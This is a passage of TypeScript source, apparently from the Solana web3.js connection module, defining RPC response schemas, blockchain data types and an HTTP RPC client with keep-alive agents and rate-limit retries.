...value,\n result: create(value.result, schema),\n };\n }\n });\n}\n\n/**\n * @internal\n */\nfunction jsonRpcResultAndContext<T, U>(value: Struct<T, U>) {\n return jsonRpcResult(\n pick({\n context: pick({\n slot: number(),\n }),\n value,\n }),\n );\n}\n\n/**\n * @internal\n */\nfunction notificationResultAndContext<T, U>(value: Struct<T, U>) {\n return pick({\n context: pick({\n slot: number(),\n }),\n value,\n });\n}\n\n/**\n * @internal\n */\nfunction versionedMessageFromResponse(\n version: TransactionVersion | undefined,\n response: MessageResponse,\n): VersionedMessage {\n if (version === 0) {\n return new MessageV0({\n header: response.header,\n staticAccountKeys: response.accountKeys.map(\n accountKey => new PublicKey(accountKey),\n ),\n recentBlockhash: response.recentBlockhash,\n compiledInstructions: response.instructions.map(ix => ({\n programIdIndex: ix.programIdIndex,\n accountKeyIndexes: ix.accounts,\n data: bs58.decode(ix.data),\n })),\n addressTableLookups: response.addressTableLookups!,\n });\n } else {\n return new Message(response);\n }\n}\n\n/**\n * The level of commitment desired when querying state\n * <pre>\n * 'processed': Query the most recent block which has reached 1 confirmation by the connected node\n * 'confirmed': Query the most recent block which has reached 1 confirmation by the cluster\n * 'finalized': Query the most recent block which has been finalized by the cluster\n * </pre>\n */\nexport type Commitment =\n | 'processed'\n | 'confirmed'\n | 'finalized'\n | 'recent' // Deprecated as of v1.5.5\n | 'single' // Deprecated as of v1.5.5\n | 'singleGossip' // Deprecated as of v1.5.5\n | 'root' // Deprecated as of v1.5.5\n | 'max'; // Deprecated as of v1.5.5\n\n/**\n * A subset of Commitment levels, which are at least optimistically confirmed\n * <pre>\n * 'confirmed': Query the most recent block which has reached 1 confirmation by the cluster\n * 'finalized': Query the most recent block which has been finalized by the cluster\n * </pre>\n */\nexport type Finality = 'confirmed' | 'finalized';\n\n/**\n * Filter for largest accounts query\n * <pre>\n * 'circulating': Return the largest accounts that are part of the circulating supply\n * 'nonCirculating': Return the largest accounts that are not part of the circulating supply\n * </pre>\n */\nexport type LargestAccountsFilter = 'circulating' | 'nonCirculating';\n\n/**\n * Configuration object for changing `getAccountInfo` query behavior\n */\nexport type GetAccountInfoConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n};\n\n/**\n * Configuration object for changing `getBalance` query behavior\n */\nexport type GetBalanceConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getBlock` query behavior\n */\nexport type GetBlockConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /**\n * Whether to populate the rewards array. If parameter not provided, the default includes rewards.\n */\n rewards?: boolean;\n /**\n * Level of transaction detail to return, either \"full\", \"accounts\", \"signatures\", or \"none\". If\n * parameter not provided, the default detail level is \"full\". If \"accounts\" are requested,\n * transaction details only include signatures and an annotated list of accounts in each\n * transaction. Transaction metadata is limited to only: fee, err, pre_balances, post_balances,\n * pre_token_balances, and post_token_balances.\n */\n transactionDetails?: 'accounts' | 'full' | 'none' | 'signatures';\n};\n\n/**\n * Configuration object for changing `getBlock` query behavior\n */\nexport type GetVersionedBlockConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /** The max transaction version to return in responses. If the requested transaction is a higher version, an error will be returned */\n maxSupportedTransactionVersion?: number;\n /**\n * Whether to populate the rewards array. If parameter not provided, the default includes rewards.\n */\n rewards?: boolean;\n /**\n * Level of transaction detail to return, either \"full\", \"accounts\", \"signatures\", or \"none\". If\n * parameter not provided, the default detail level is \"full\". If \"accounts\" are requested,\n * transaction details only include signatures and an annotated list of accounts in each\n * transaction. Transaction metadata is limited to only: fee, err, pre_balances, post_balances,\n * pre_token_balances, and post_token_balances.\n */\n transactionDetails?: 'accounts' | 'full' | 'none' | 'signatures';\n};\n\n/**\n * Configuration object for changing `getStakeMinimumDelegation` query behavior\n */\nexport type GetStakeMinimumDelegationConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n};\n\n/**\n * Configuration object for changing `getBlockHeight` query behavior\n */\nexport type GetBlockHeightConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getEpochInfo` query behavior\n */\nexport type GetEpochInfoConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getInflationReward` query behavior\n */\nexport type GetInflationRewardConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** An epoch for which the reward occurs. If omitted, the previous epoch will be used */\n epoch?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getLatestBlockhash` query behavior\n */\nexport type GetLatestBlockhashConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `isBlockhashValid` query behavior\n */\nexport type IsBlockhashValidConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getSlot` query behavior\n */\nexport type GetSlotConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getSlotLeader` query behavior\n */\nexport type GetSlotLeaderConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getTransaction` query behavior\n */\nexport type GetTransactionConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n};\n\n/**\n * Configuration object for changing `getTransaction` query behavior\n */\nexport type GetVersionedTransactionConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /** The max transaction version to return in responses. If the requested transaction is a higher version, an error will be returned */\n maxSupportedTransactionVersion?: number;\n};\n\n/**\n * Configuration object for changing `getLargestAccounts` query behavior\n */\nexport type GetLargestAccountsConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** Filter largest accounts by whether they are part of the circulating supply */\n filter?: LargestAccountsFilter;\n};\n\n/**\n * Configuration object for changing `getSupply` request behavior\n */\nexport type GetSupplyConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** Exclude non circulating accounts list from response */\n excludeNonCirculatingAccountsList?: boolean;\n};\n\n/**\n * Configuration object for changing query behavior\n */\nexport type SignatureStatusConfig = {\n /** enable searching status history, not needed for recent transactions */\n searchTransactionHistory: boolean;\n};\n\n/**\n * Information describing a cluster node\n */\nexport type ContactInfo = {\n /** Identity public key of the node */\n pubkey: string;\n /** Gossip network address for the node */\n gossip: string | null;\n /** TPU network address for the node (null if not available) */\n tpu: string | null;\n /** JSON RPC network address for the node (null if not available) */\n rpc: string | null;\n /** Software version of the node (null if not available) */\n version: string | null;\n};\n\n/**\n * Information describing a vote account\n */\nexport type VoteAccountInfo = {\n /** Public key of the vote account */\n votePubkey: string;\n /** Identity public key of the node voting with this account */\n nodePubkey: string;\n /** The stake, in lamports, delegated to this vote account and activated */\n activatedStake: number;\n /** Whether the vote account is staked for this epoch */\n epochVoteAccount: boolean;\n /** Recent epoch voting credit history for this voter */\n epochCredits: Array<[number, number, number]>;\n /** A percentage (0-100) of rewards payout owed to the voter */\n commission: number;\n /** Most recent slot voted on by this vote account */\n lastVote: number;\n};\n\n/**\n * A collection of cluster vote accounts\n */\nexport type VoteAccountStatus = {\n /** Active vote accounts */\n current: Array<VoteAccountInfo>;\n /** Inactive vote accounts */\n delinquent: Array<VoteAccountInfo>;\n};\n\n/**\n * Network Inflation\n * (see https://docs.solana.com/implemented-proposals/ed_overview)\n */\nexport type InflationGovernor = {\n foundation: number;\n foundationTerm: number;\n initial: number;\n taper: number;\n terminal: number;\n};\n\nconst GetInflationGovernorResult = pick({\n foundation: number(),\n foundationTerm: number(),\n initial: number(),\n taper: number(),\n terminal: number(),\n});\n\n/**\n * The inflation reward for an epoch\n */\nexport type InflationReward = {\n /** epoch for which the reward occurs */\n epoch: number;\n /** the slot in which the rewards are effective */\n effectiveSlot: number;\n /** reward amount in lamports */\n amount: number;\n /** post balance of the account in lamports */\n postBalance: number;\n /** vote account commission when the reward was credited */\n commission?: number | null;\n};\n\n/**\n * Expected JSON RPC response for the \"getInflationReward\" message\n */\nconst GetInflationRewardResult = jsonRpcResult(\n array(\n nullable(\n pick({\n epoch: number(),\n effectiveSlot: number(),\n amount: number(),\n postBalance: number(),\n commission: optional(nullable(number())),\n }),\n ),\n ),\n);\n\nexport type RecentPrioritizationFees = {\n /** slot in which the fee was observed */\n slot: number;\n /** the per-compute-unit fee paid by at least one successfully landed transaction, specified in increments of 0.000001 lamports*/\n prioritizationFee: number;\n};\n\n/**\n * Configuration object for changing `getRecentPrioritizationFees` query behavior\n */\nexport type GetRecentPrioritizationFeesConfig = {\n /**\n * If this parameter is provided, the response will reflect a fee to land a transaction locking\n * all of the provided accounts as writable.\n */\n lockedWritableAccounts?: PublicKey[];\n};\n\n/**\n * Expected JSON RPC response for the \"getRecentPrioritizationFees\" message\n */\nconst GetRecentPrioritizationFeesResult = array(\n pick({\n slot: number(),\n prioritizationFee: number(),\n }),\n);\n\nexport type InflationRate = {\n /** total inflation */\n total: number;\n /** inflation allocated to validators */\n validator: number;\n /** inflation allocated to the foundation */\n foundation: number;\n /** epoch for which these values are valid */\n epoch: number;\n};\n\n/**\n * Expected JSON RPC response for the \"getInflationRate\" message\n */\nconst GetInflationRateResult = pick({\n total: number(),\n validator: number(),\n foundation: number(),\n epoch: number(),\n});\n\n/**\n * Information about the current epoch\n */\nexport type EpochInfo = {\n epoch: number;\n slotIndex: number;\n slotsInEpoch: number;\n absoluteSlot: number;\n blockHeight?: number;\n transactionCount?: number;\n};\n\nconst GetEpochInfoResult = pick({\n epoch: number(),\n slotIndex: number(),\n slotsInEpoch: number(),\n absoluteSlot: number(),\n blockHeight: optional(number()),\n transactionCount: optional(number()),\n});\n\nconst GetEpochScheduleResult = pick({\n slotsPerEpoch: number(),\n leaderScheduleSlotOffset: number(),\n warmup: boolean(),\n firstNormalEpoch: number(),\n firstNormalSlot: number(),\n});\n\n/**\n * Leader schedule\n * (see https://docs.solana.com/terminology#leader-schedule)\n */\nexport type LeaderSchedule = {\n [address: string]: number[];\n};\n\nconst GetLeaderScheduleResult = record(string(), array(number()));\n\n/**\n * Transaction error or null\n */\nconst TransactionErrorResult = nullable(union([pick({}), string()]));\n\n/**\n * Signature status for a transaction\n */\nconst SignatureStatusResult = pick({\n err: TransactionErrorResult,\n});\n\n/**\n * Transaction signature received notification\n */\nconst SignatureReceivedResult = literal('receivedSignature');\n\n/**\n * Version info for a node\n */\nexport type Version = {\n /** Version of solana-core */\n 'solana-core': string;\n 'feature-set'?: number;\n};\n\nconst VersionResult = pick({\n 'solana-core': string(),\n 'feature-set': optional(number()),\n});\n\nexport type SimulatedTransactionAccountInfo = {\n /** `true` if this account's data contains a loaded program */\n executable: boolean;\n /** Identifier of the program that owns the account */\n owner: string;\n /** Number of lamports assigned to the account */\n lamports: number;\n /** Optional data assigned to the account */\n data: string[];\n /** Optional rent epoch info for account */\n rentEpoch?: number;\n};\n\nexport type TransactionReturnDataEncoding = 'base64';\n\nexport type TransactionReturnData = {\n programId: string;\n data: [string, TransactionReturnDataEncoding];\n};\n\nexport type SimulateTransactionConfig = {\n /** Optional parameter used to enable signature verification before simulation */\n sigVerify?: boolean;\n /** Optional parameter used to replace the simulated transaction's recent blockhash with the latest blockhash */\n replaceRecentBlockhash?: boolean;\n /** Optional parameter used to set the commitment level when selecting the latest block */\n commitment?: Commitment;\n /** Optional parameter used to specify a list of base58-encoded account addresses to return post simulation state for */\n accounts?: {\n /** The encoding of the returned account's data */\n encoding: 'base64';\n addresses: string[];\n };\n /** Optional parameter used to specify the minimum block slot that can be used for simulation */\n minContextSlot?: number;\n /** Optional parameter used to include inner instructions in the simulation */\n innerInstructions?: boolean;\n};\n\nexport type SimulatedTransactionResponse = {\n err: TransactionError | string | null;\n logs: Array<string> | null;\n accounts?: (SimulatedTransactionAccountInfo | null)[] | null;\n unitsConsumed?: number;\n returnData?: TransactionReturnData | null;\n innerInstructions?: ParsedInnerInstruction[] | null;\n};\nconst ParsedInstructionStruct = pick({\n program: string(),\n programId: PublicKeyFromString,\n parsed: unknown(),\n});\n\nconst PartiallyDecodedInstructionStruct = pick({\n programId: PublicKeyFromString,\n accounts: array(PublicKeyFromString),\n data: string(),\n});\n\nconst SimulatedTransactionResponseStruct = jsonRpcResultAndContext(\n pick({\n err: nullable(union([pick({}), string()])),\n logs: nullable(array(string())),\n accounts: optional(\n nullable(\n array(\n nullable(\n pick({\n executable: boolean(),\n owner: string(),\n lamports: number(),\n data: array(string()),\n rentEpoch: optional(number()),\n }),\n ),\n ),\n ),\n ),\n unitsConsumed: optional(number()),\n returnData: optional(\n nullable(\n pick({\n programId: string(),\n data: tuple([string(), literal('base64')]),\n }),\n ),\n ),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(\n union([\n ParsedInstructionStruct,\n PartiallyDecodedInstructionStruct,\n ]),\n ),\n }),\n ),\n ),\n ),\n }),\n);\n\nexport type ParsedInnerInstruction = {\n index: number;\n instructions: (ParsedInstruction | PartiallyDecodedInstruction)[];\n};\n\nexport type TokenBalance = {\n accountIndex: number;\n mint: string;\n owner?: string;\n programId?: string;\n uiTokenAmount: TokenAmount;\n};\n\n/**\n * Metadata for a parsed confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionMeta} instead.\n */\nexport type ParsedConfirmedTransactionMeta = ParsedTransactionMeta;\n\n/**\n * Collection of addresses loaded by a transaction using address table lookups\n */\nexport type LoadedAddresses = {\n writable: Array<PublicKey>;\n readonly: Array<PublicKey>;\n};\n\n/**\n * Metadata for a parsed transaction on the ledger\n */\nexport type ParsedTransactionMeta = {\n /** The fee charged for processing the transaction */\n fee: number;\n /** An array of cross program invoked parsed instructions */\n innerInstructions?: ParsedInnerInstruction[] | null;\n /** The balances of the transaction accounts before processing */\n preBalances: Array<number>;\n /** The balances of the transaction accounts after processing */\n postBalances: Array<number>;\n /** An array of program log messages emitted during a transaction */\n logMessages?: Array<string> | null;\n /** The token balances of the transaction accounts before processing */\n preTokenBalances?: Array<TokenBalance> | null;\n /** The token balances of the transaction accounts after processing */\n postTokenBalances?: Array<TokenBalance> | null;\n /** The error result of transaction processing */\n err: TransactionError | null;\n /** The collection of addresses loaded using address lookup tables */\n loadedAddresses?: LoadedAddresses;\n /** The compute units consumed after processing the transaction */\n computeUnitsConsumed?: number;\n};\n\nexport type CompiledInnerInstruction = {\n index: number;\n instructions: CompiledInstruction[];\n};\n\n/**\n * Metadata for a confirmed transaction on the ledger\n */\nexport type ConfirmedTransactionMeta = {\n /** The fee charged for processing the transaction */\n fee: number;\n /** An array of cross program invoked instructions */\n innerInstructions?: CompiledInnerInstruction[] | null;\n /** The balances of the transaction accounts before processing */\n preBalances: Array<number>;\n /** The balances of the transaction accounts after processing */\n postBalances: Array<number>;\n /** An array of program log messages emitted during a transaction */\n logMessages?: Array<string> | null;\n /** The token balances of the transaction accounts before processing */\n preTokenBalances?: Array<TokenBalance> | null;\n /** The token balances of the transaction accounts after processing */\n postTokenBalances?: Array<TokenBalance> | null;\n /** The error result of transaction processing */\n err: TransactionError | null;\n /** The collection of addresses loaded using address lookup tables */\n loadedAddresses?: LoadedAddresses;\n /** The compute units consumed after processing the transaction */\n computeUnitsConsumed?: number;\n};\n\n/**\n * A processed transaction from the RPC API\n */\nexport type TransactionResponse = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: Message;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n};\n\n/**\n * A processed transaction from the RPC API\n */\nexport type VersionedTransactionResponse = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: VersionedMessage;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** The transaction version */\n version?: TransactionVersion;\n};\n\n/**\n * A processed transaction message from the RPC API\n */\ntype MessageResponse = {\n accountKeys: string[];\n header: MessageHeader;\n instructions: CompiledInstruction[];\n recentBlockhash: string;\n addressTableLookups?: ParsedAddressTableLookup[];\n};\n\n/**\n * A confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0.\n */\nexport type ConfirmedTransaction = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The details of the transaction */\n transaction: Transaction;\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n};\n\n/**\n * A partially decoded transaction instruction\n */\nexport type PartiallyDecodedInstruction = {\n /** Program id called by this instruction */\n programId: PublicKey;\n /** Public keys of accounts passed to this instruction */\n accounts: Array<PublicKey>;\n /** Raw base-58 instruction data */\n data: string;\n};\n\n/**\n * A parsed transaction message account\n */\nexport type ParsedMessageAccount = {\n /** Public key of the account */\n pubkey: PublicKey;\n /** Indicates if the account signed the transaction */\n signer: boolean;\n /** Indicates if the account is writable for this transaction */\n writable: boolean;\n /** Indicates if the account key came from the transaction or a lookup table */\n source?: 'transaction' | 'lookupTable';\n};\n\n/**\n * A parsed transaction instruction\n */\nexport type ParsedInstruction = {\n /** Name of the program for this instruction */\n program: string;\n /** ID of the program for this instruction */\n programId: PublicKey;\n /** Parsed instruction info */\n parsed: any;\n};\n\n/**\n * A parsed address table lookup\n */\nexport type ParsedAddressTableLookup = {\n /** Address lookup table account key */\n accountKey: PublicKey;\n /** Parsed instruction info */\n writableIndexes: number[];\n /** Parsed instruction info */\n readonlyIndexes: number[];\n};\n\n/**\n * A parsed transaction message\n */\nexport type ParsedMessage = {\n /** Accounts used in the instructions */\n accountKeys: ParsedMessageAccount[];\n /** The atomically executed instructions for the transaction */\n instructions: (ParsedInstruction | PartiallyDecodedInstruction)[];\n /** Recent blockhash */\n recentBlockhash: string;\n /** Address table lookups used to load additional accounts */\n addressTableLookups?: ParsedAddressTableLookup[] | null;\n};\n\n/**\n * A parsed transaction\n */\nexport type ParsedTransaction = {\n /** Signatures for the transaction */\n signatures: Array<string>;\n /** Message of the transaction */\n message: ParsedMessage;\n};\n\n/**\n * A parsed and confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionWithMeta} instead.\n */\nexport type ParsedConfirmedTransaction = ParsedTransactionWithMeta;\n\n/**\n * A parsed transaction on the ledger with meta\n */\nexport type ParsedTransactionWithMeta = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The details of the transaction */\n transaction: ParsedTransaction;\n /** Metadata produced from the transaction */\n meta: ParsedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** The version of the transaction message */\n version?: TransactionVersion;\n};\n\n/**\n * A processed block fetched from the RPC API\n */\nexport type BlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: Message;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts`\n */\nexport type AccountsModeBlockResponse = VersionedAccountsModeBlockResponse;\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `none`\n */\nexport type NoneModeBlockResponse = VersionedNoneModeBlockResponse;\n\n/**\n * A block with parsed transactions\n */\nexport type ParsedBlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The details of the transaction */\n transaction: ParsedTransaction;\n /** Metadata produced from the transaction */\n meta: ParsedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n /** The number of blocks beneath this block */\n blockHeight: number | null;\n};\n\n/**\n * A block with parsed transactions where the `transactionDetails` mode is `accounts`\n */\nexport type ParsedAccountsModeBlockResponse = Omit<\n ParsedBlockResponse,\n 'transactions'\n> & {\n transactions: Array<\n Omit<ParsedBlockResponse['transactions'][number], 'transaction'> & {\n transaction: Pick<\n ParsedBlockResponse['transactions'][number]['transaction'],\n 'signatures'\n > & {\n accountKeys: ParsedMessageAccount[];\n };\n }\n >;\n};\n\n/**\n * A block with parsed transactions where the `transactionDetails` mode is `none`\n */\nexport type ParsedNoneModeBlockResponse = Omit<\n ParsedBlockResponse,\n 'transactions'\n>;\n\n/**\n * A processed block fetched from the RPC API\n */\nexport type VersionedBlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: VersionedMessage;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts`\n */\nexport type VersionedAccountsModeBlockResponse = Omit<\n VersionedBlockResponse,\n 'transactions'\n> & {\n transactions: Array<\n Omit<VersionedBlockResponse['transactions'][number], 'transaction'> & {\n transaction: Pick<\n VersionedBlockResponse['transactions'][number]['transaction'],\n 'signatures'\n > & {\n accountKeys: ParsedMessageAccount[];\n };\n }\n >;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `none`\n */\nexport type VersionedNoneModeBlockResponse = Omit<\n VersionedBlockResponse,\n 'transactions'\n>;\n\n/**\n * A confirmed block on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0.\n */\nexport type ConfirmedBlock = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions and status metas */\n transactions: Array<{\n transaction: Transaction;\n meta: ConfirmedTransactionMeta | null;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n pubkey: string;\n lamports: number;\n postBalance: number | null;\n rewardType: string | null;\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A Block on the ledger with signatures only\n */\nexport type BlockSignatures = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of signatures */\n signatures: Array<string>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * recent block production information\n */\nexport type BlockProduction = Readonly<{\n /** a dictionary of validator identities, as base-58 encoded strings. Value is a two element array containing the number of leader slots and the number of blocks produced */\n byIdentity: Readonly<Record<string, ReadonlyArray<number>>>;\n /** Block production slot range */\n range: Readonly<{\n /** first slot of the block production information (inclusive) */\n firstSlot: number;\n /** last slot of block production information (inclusive) */\n lastSlot: number;\n }>;\n}>;\n\nexport type GetBlockProductionConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Slot range to return block production for. If parameter not provided, defaults to current epoch. */\n range?: {\n /** first slot to return block production information for (inclusive) */\n firstSlot: number;\n /** last slot to return block production information for (inclusive). If parameter not provided, defaults to the highest slot */\n lastSlot?: number;\n };\n /** Only return results for this validator identity (base-58 encoded) */\n identity?: string;\n};\n\n/**\n * Expected JSON RPC response for the \"getBlockProduction\" message\n */\nconst BlockProductionResponseStruct = jsonRpcResultAndContext(\n pick({\n byIdentity: record(string(), array(number())),\n range: pick({\n firstSlot: number(),\n lastSlot: number(),\n }),\n }),\n);\n\n/**\n * A performance sample\n */\nexport type PerfSample = {\n /** Slot number of sample */\n slot: number;\n /** Number of transactions in a sample window */\n numTransactions: number;\n /** Number of slots in a sample window */\n numSlots: number;\n /** Sample window in seconds */\n samplePeriodSecs: number;\n};\n\nfunction createRpcClient(\n url: string,\n httpHeaders?: HttpHeaders,\n customFetch?: FetchFn,\n fetchMiddleware?: FetchMiddleware,\n disableRetryOnRateLimit?: boolean,\n httpAgent?: NodeHttpAgent | NodeHttpsAgent | false,\n): RpcClient {\n const fetch = customFetch ? customFetch : fetchImpl;\n let agent: NodeHttpAgent | NodeHttpsAgent | undefined;\n if (process.env.BROWSER) {\n if (httpAgent != null) {\n console.warn(\n 'You have supplied an `httpAgent` when creating a `Connection` in a browser environment.' +\n 'It has been ignored; `httpAgent` is only used in Node environments.',\n );\n }\n } else {\n if (httpAgent == null) {\n if (process.env.NODE_ENV !== 'test') {\n const agentOptions = {\n // One second fewer than the Solana RPC's keepalive timeout.\n // Read more: https://github.com/solana-labs/solana/issues/27859#issuecomment-1340097889\n freeSocketTimeout: 19000,\n keepAlive: true,\n maxSockets: 25,\n };\n if (url.startsWith('https:')) {\n agent = new HttpsKeepAliveAgent(agentOptions);\n } else {\n agent = new HttpKeepAliveAgent(agentOptions);\n }\n }\n } else {\n if (httpAgent !== false) {\n const isHttps = url.startsWith('https:');\n if (isHttps && !(httpAgent instanceof NodeHttpsAgent)) {\n throw new Error(\n 'The endpoint `' +\n url +\n '` can only be paired with an `https.Agent`. You have, instead, supplied an ' +\n '`http.Agent` through `httpAgent`.',\n );\n } else if (!isHttps && httpAgent instanceof NodeHttpsAgent) {\n throw new Error(\n 'The endpoint `' +\n url +\n '` can only be paired with an `http.Agent`. You have, instead, supplied an ' +\n '`https.Agent` through `httpAgent`.',\n );\n }\n agent = httpAgent;\n }\n }\n }\n\n let fetchWithMiddleware: FetchFn | undefined;\n\n if (fetchMiddleware) {\n fetchWithMiddleware = async (info, init) => {\n const modifiedFetchArgs = await new Promise<Parameters<FetchFn>>(\n (resolve, reject) => {\n try {\n fetchMiddleware(info, init, (modifiedInfo, modifiedInit) =>\n resolve([modifiedInfo, modifiedInit]),\n );\n } catch (error) {\n reject(error);\n }\n },\n );\n return await fetch(...modifiedFetchArgs);\n };\n }\n\n const clientBrowser = new RpcClient(async (request, callback) => {\n const options = {\n method: 'POST',\n body: request,\n agent,\n headers: Object.assign(\n {\n 'Content-Type': 'application/json',\n },\n httpHeaders || {},\n COMMON_HTTP_HEADERS,\n ),\n };\n\n try {\n let too_many_requests_retries = 5;\n let res: Response;\n let waitTime = 500;\n for (;;) {\n if (fetchWithMiddleware) {\n res = await fetchWithMiddleware(url, options);\n } else {\n res = await fetch(url, options);\n }\n\n if (res.status !== 429 /* Too many requests */) {\n break;\n }\n if (disableRetryOnRateLimit === true) {\n break;\n }\n too_many_requests_retries -= 1;\n if (too_many_requests_retries === 0) {\n break;\n }\n console.error(\n `Server responded with ${res.status} ${res.statusText}. Retrying after ${waitTime}ms delay...`,\n );\n await sleep(waitTime);\n waitTime *= 2;\n }\n\n const text = await res.text();\n if (res.ok) {\n callback(null, text);\n } else {\n callback(new Error(`${res.status} ${res.statusText}: ${text}`));\n }\n } catch (err) {\n if (err instanceof Error) callback(err);\n }\n }, {});\n\n return clientBrowser;\n}\n\nfunction createRpcRequest(client: RpcClient): RpcRequest {\n return (method, args) => {\n return new Promise((resolve, reject) => {\n client.request(method, args, (err: any, response: any) => {\n if (err) {\n reject(err);\n return;\n }\n resolve(response);\n });\n });\n };\n}\n\nfunction createRpcBatchRequest(client: RpcClient): RpcBatchRequest {\n return (requests: RpcParams[]) => {\n return new Promise((resolve, reject) => {\n // Do nothing if requests is empty\n if (requests.length === 0) resolve([]);\n\n const batch = requests.map((params: RpcParams) => {\n return client.request(params.methodName, params.args);\n });\n\n client.request(batch, (err: any, response: any) => {\n if (err) {\n reject(err);\n 